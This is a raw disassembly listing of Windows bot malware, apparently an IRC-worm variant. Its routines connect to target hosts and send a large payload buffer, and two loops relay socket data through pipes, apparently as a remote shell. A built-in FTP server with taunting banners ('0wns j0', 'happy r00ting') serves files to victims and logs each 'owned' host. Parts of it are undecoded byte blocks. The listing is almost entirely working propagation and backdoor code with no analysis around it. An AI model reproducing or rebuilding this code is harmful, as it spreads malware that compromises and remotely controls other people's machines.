		pop	esi
		pop	ebx
		leave
		retn
sub_40EAA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB90	proc near		; CODE XREF: sub_40C034+1E6p
					; DATA XREF: .nsp0:off_43804Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4D1230	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4D11F0	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42721C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EC02
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EBE3
		push	esi
		jmp	short loc_40EBFC
; ---------------------------------------------------------------------------


loc_40EBE3:				; CODE XREF: sub_40EB90+4Ej
		push	0
		push	1213h
		push	offset dword_43A5E4
		push	esi
		call	dword_427220	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EC06


loc_40EBFC:				; CODE XREF: sub_40EB90+51j
		call	dword_427218	; closesocket


loc_40EC02:				; CODE XREF: sub_40EB90+3Cj
		xor	eax, eax
		jmp	short loc_40EC48
; ---------------------------------------------------------------------------


loc_40EC06:				; CODE XREF: sub_40EB90+6Aj
		call	dword_427218	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EAA2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EC45
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40EC45:				; CODE XREF: sub_40EB90+9Ej
		push	1
		pop	eax


loc_40EC48:				; CODE XREF: sub_40EB90+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EB90	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EC55:				; CODE XREF: .nsp0:0040EC71j
					; .nsp0:0040EC8Dj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3F34
		call	dword_4D1208	; recv
		test	eax, eax
		jle	short loc_40EC55
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4D3F30
		call	near ptr 0B40000h
		inc	esi
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EC98:				; CODE XREF: .nsp0:0040ECBEj
					; .nsp0:0040ECD8j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3F24
		call	dword_4270E8	; ReadFile
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EC98
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4D3F34
		call	dword_4D1240	; send
		jmp	short loc_40EC98
; ---------------------------------------------------------------------------
word_40ECDA	dw 8B55h		; DATA XREF: .nsp0:00404804o
dword_40ECDC	dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h
		dd 0FFFFFEE4h, 16AA5F3h, 895EFF33h, 98B0h, 8D106A00h, 5057C845h
		dd 0CF33E8h, 0CC48300h,	0C845C766h, 0B5FF0002h,	0FFFFFF68h
		dd 11F015FFh, 66A004Dh,	66026A56h, 0FFCA4589h, 4D127015h
		dd 8458900h, 6AC8458Dh,	75FF5010h, 1C15FF08h, 6A004D12h
		dd 875FF05h, 121815FFh,	1D8B004Dh, 427100h, 706C358Bh
		dd 57570042h, 0FF0875FFh, 4D128415h, 3F34A300h,	458D004Dh
		dd 685057F4h, 4D3F30h, 4D3F2C68h, 0F445C700h, 0Ch, 1FC45C7h
		dd 89000000h, 0D3FFF87Dh, 57F4458Dh, 3F286850h,	2468004Dh
		dd 0FF004D3Fh, 8D446AD3h, 50578445h, 0CE97E8h, 3F2CA100h
		dd 0C483004Dh, 0BC45890Ch, 4D3F28A1h, 0C0458900h, 8D016A57h
		dd 26AC445h, 8445C750h,	44h, 1B045C7h, 66000001h, 0E8B47D89h
		dd 731224h, 35FF5015h, 4D3F28h,	731217E8h, 0E8505C00h
		dd 731210h, 0D8458DE0h,	84458D50h, 68575750h, 4000090h
		dd 6AF4458Dh, 458D5001h, 6C6850F4h, 570043B8h, 7311EBE8h
		dd 458DF500h, 575750E8h, 40EC8F68h, 0F4458D00h,	15FF5057h
		dd 42707Ch, 8DEC4589h, 5750E845h, 0EC4C6857h, 458D0040h
		dd 0FF5057F4h, 42707C15h, 89FF6A00h, 75FFF045h,	11AEE8D8h
		dd 57830073h, 0E8F075FFh, 7311A4h, 75FF5798h, 119AE8ECh
		dd 0FFA90073h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h, 1186E8D8h
		dd 0FFD40073h, 4D3F2C35h, 0FFD6FF00h, 4D3F3035h, 0FFD6FF00h
		dd 4D3F2435h, 0FFD6FF00h, 4D3F2835h, 0FFD6FF00h, 0D6FFDC75h
		dd 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h,	0FFFEh
		dd 40068h, 0A05FE800h, 0A3590000h, 4D3F3Ch
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
word_40EEC6	dw 8B55h		; DATA XREF: sub_40B9DD+34Do
		dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h,	0BD8D59F0h
		dd 0FFFFFF50h, 16AA5F3h, 895EDB33h, 98B0h, 8D106A00h, 5053EC45h
		dd 0CD47E8h, 0CC48300h,	0EC45C766h, 0B5FF0002h,	0FFFFFF5Ch
		dd 11F015FFh, 5653004Dh, 8966026Ah, 5D89EE45h, 7015FFF0h
		dd 8B004D12h, 0FFCE83F8h, 4575FE3Bh, 75E45D39h,	858D5320h
		dd 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh, 0FFFF50B5h
		dd 0AA88E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh, 684DE8h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFC3C6h, 0E8535959h, 731094h
		dd 54858BADh, 6AFFFFFFh, 34C06910h, 89000002h, 44412CB8h
		dd 0EC458D00h, 15FF5750h, 4D121Ch, 0BBC63Bh, 0F000004h
		dd 0CF85h, 8415FF00h, 3D004D11h, 2740h,	0F6334774h, 75E47539h
		dd 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh
		dd 0FFFF50B5h, 0AA08E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh
		dd 67CDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC346h, 0E8565959h
		dd 731014h, 0FFFE6863h,	0E8530000h, 9F25h, 3F3CA359h, 6659004Dh
		dd 8DEE4589h, 106AEC45h, 15FF5750h, 4D121Ch, 5475C63Bh
		dd 118415FFh, 0F633004Dh, 75E47539h, 27403D27h,	20740000h
		dd 40858D56h, 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh
		dd 0FFFFFF50h, 0FFA98DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh
		dd 6752h, 0FF54B5FFh, 0CBE8FFFFh, 59FFFFC2h, 99E85659h
		dd 0B600730Fh, 0FF57056Ah, 4D121815h, 0FC63B00h, 0D484h
		dd 0FC45C700h, 10h, 429100BEh, 0FC458D00h, 40858D50h, 50FFFFFFh
		dd 8415FF57h, 83004D12h, 4589FFF8h, 83E67408h, 7500E47Dh
		dd 8D006A21h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 0FE8FFFFh, 83FFFFA9h, 858D14C4h,	0FFFFFD40h
		dd 66D4E850h, 8D590000h, 0FFFD4085h, 68006AFFh,	200h, 875FF50h
		dd 120815FFh, 0F883004Dh, 569674FFh, 2035FF56h,	0FF004D0Fh
		dd 0FFFF50B5h, 0BA68E8FFh, 5059FFFFh, 43B87468h, 40858D00h
		dd 53FFFFF9h, 0CF1AE850h, 0C4830000h, 40858D1Ch, 6AFFFFF9h
		dd 69E85000h, 590000C7h, 40858D50h, 50FFFFF9h, 0FF0875FFh
		dd 4D124015h, 0FFF88300h, 0FF43840Fh, 5FFFFFFh,	4D3F44h
		dd 0FFFF38E9h, 15FF57FFh, 4D1288h, 0FF54B5FFh, 0CBE8FFFFh
		dd 59FFFFC1h, 99E8006Ah, 0B700730Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F168	proc near		; DATA XREF: sub_40B9DD+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4271F0	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_42721C	; socket
		mov	esi, dword_427210
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi ; dword_427210
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi ; dword_427210
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4271F4	; ioctlsocket
		mov	ax, word ptr dword_4D0F20
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_4271F8	; bind
		test	eax, eax
		jge	short loc_40F22E
		mov	eax, ebx
		jmp	loc_40F773
; ---------------------------------------------------------------------------


loc_40F22E:				; CODE XREF: sub_40F168+BDj
		push	0Ah
		push	edi
		call	dword_4271FC	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_427220
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40F24C:				; CODE XREF: sub_40F168+11Dj
					; sub_40F168+603j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_427224	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F770
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F24C


loc_40F287:				; CODE XREF: sub_40F168+5FDj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC40
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F75E
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F33E
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_427200	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F75E
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F308
		lea	edx, [ebp+var_228]


loc_40F2F8:				; CODE XREF: sub_40F168+19Ej
		cmp	[edx], eax
		jz	short loc_40F308
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F2F8


loc_40F308:				; CODE XREF: sub_40F168+188j
					; sub_40F168+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F326
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F326
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40F326:				; CODE XREF: sub_40F168+1A6j
					; sub_40F168+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F32E
		mov	[ebp+var_4], eax


loc_40F32E:				; CODE XREF: sub_40F168+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_427220
		jmp	loc_40F75E
; ---------------------------------------------------------------------------


loc_40F33E:				; CODE XREF: sub_40F168+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_427214	; recv
		test	eax, eax
		jg	short loc_40F3A5
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F399
		lea	eax, [ebp+var_228]


loc_40F365:				; CODE XREF: sub_40F168+207j
		cmp	[eax], edi
		jz	short loc_40F373
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F365
		jmp	short loc_40F399
; ---------------------------------------------------------------------------


loc_40F373:				; CODE XREF: sub_40F168+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F393
		lea	eax, [ebp+ecx*4+var_228]


loc_40F37F:				; CODE XREF: sub_40F168+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F37F


loc_40F393:				; CODE XREF: sub_40F168+20Ej
		dec	[ebp+var_22C]


loc_40F399:				; CODE XREF: sub_40F168+1F5j
					; sub_40F168+209j
		push	edi
		call	dword_427218	; closesocket
		jmp	loc_40F75E
; ---------------------------------------------------------------------------


loc_40F3A5:				; CODE XREF: sub_40F168+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41CCE5
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41C710
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F3E9
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F46B
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F168+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F40A
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F40A:				; CODE XREF: sub_40F168+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F42B
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F42B:				; CODE XREF: sub_40F168+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F44C
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F44C:				; CODE XREF: sub_40F168+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_43BA98
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F471
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40F46B:				; CODE XREF: sub_40F168+27Cj
					; sub_40F168+2A0j ...
		push	edi
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F471:				; CODE XREF: sub_40F168+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4AD
		lea	eax, [ebp+var_338]
		push	offset aA	; "A"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4AD
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F4AD:				; CODE XREF: sub_40F168+31Fj
					; sub_40F168+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4E4
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4E4
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F4E4:				; CODE XREF: sub_40F168+356j
					; sub_40F168+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F52F
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F522:				; CODE XREF: sub_40F168+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		xor	esi, esi
		jmp	loc_40F749
; ---------------------------------------------------------------------------


loc_40F52F:				; CODE XREF: sub_40F168+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F570
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F522
; ---------------------------------------------------------------------------


loc_40F570:				; CODE XREF: sub_40F168+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F63E
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CCE5
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41BE29
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41BE29
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BC40
		push	[ebp+var_C]
		lea	eax, [ebp+var_FC]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41C45E
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41BF36
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F63E:				; CODE XREF: sub_40F168+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F725
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F77A
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F71B
		cmp	[ebp+var_444], esi
		jnz	short loc_40F6A8
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_4099D2
		add	esp, 14h


loc_40F6A8:				; CODE XREF: sub_40F168+51Bj
		call	loc_40F7F7
		cmp	eax, 1
		jnz	loc_40F749
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpIJustOwnedS ; "[FTP]: I just	owned: %s"
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F706
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_4099D2
		add	esp, 14h


loc_40F706:				; CODE XREF: sub_40F168+579j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4157A6
		inc	dword_4D3D00
		pop	ecx
		jmp	short loc_40F749
; ---------------------------------------------------------------------------


loc_40F71B:				; CODE XREF: sub_40F168+50Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F744
; ---------------------------------------------------------------------------


loc_40F725:				; CODE XREF: sub_40F168+4EBj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F749
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F744:				; CODE XREF: sub_40F168+340j
					; sub_40F168+377j ...
		push	[ebp+arg_0]


loc_40F747:				; CODE XREF: sub_40F168+304j
		call	ebx ; dword_427220


loc_40F749:				; CODE XREF: sub_40F168+3C2j
					; sub_40F168+548j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC40
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40F75E:				; CODE XREF: sub_40F168+151j
					; sub_40F168+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F287
		jmp	loc_40F24C
; ---------------------------------------------------------------------------


loc_40F770:				; CODE XREF: sub_40F168+10Fj
		push	1
		pop	eax


loc_40F773:				; CODE XREF: sub_40F168+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F77A	proc near		; CODE XREF: sub_40F168+505p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4271F0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_42721C	; socket
		push	[ebp+arg_0]
		mov	dword_4D3F48, eax
		mov	[ebp+var_10], 2
		call	dword_427230	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_427208	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4D3F48
		call	dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7F2
		push	dword_4D3F48
		call	dword_427218	; closesocket
		call	dword_4271EC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F7F2:				; CODE XREF: sub_40F77A+60j
		push	1
		pop	eax
		leave
		retn
sub_40F77A	endp

; ---------------------------------------------------------------------------


loc_40F7F7:				; CODE XREF: sub_40F168:loc_40F6A8p
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 0B40000h
; ---------------------------------------------------------------------------
		dd 0FC858DD9h, 68FFFFFEh, 429070h, 0C392E850h, 0F08B0000h
		dd 59F68559h, 46F66074h, 3E75100Ch, 400BF57h, 6A560000h
		dd 0FC858D01h, 57FFFFFAh, 0C146E850h, 0C4830000h, 0FC858D10h
		dd 6AFFFFFAh, 0FF505700h, 4D3F4835h, 2015FF00h,	6A004272h
		dd 6415FF01h, 0F6004270h, 74100C46h, 0E8565FC9h, 0C093h
		dd 4835FF59h, 0FF004D3Fh, 42721815h, 0EC15FF00h, 6A004271h
		dd 0C95E5801h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F891	proc near		; DATA XREF: .nsp0:00403D4Eo
					; sub_40B9DD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4D11F0	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4D1270	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FC7C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_44412C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4D121C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
		push	7FFFFFFFh
		push	edi
		call	dword_4D1218	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4D128C	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


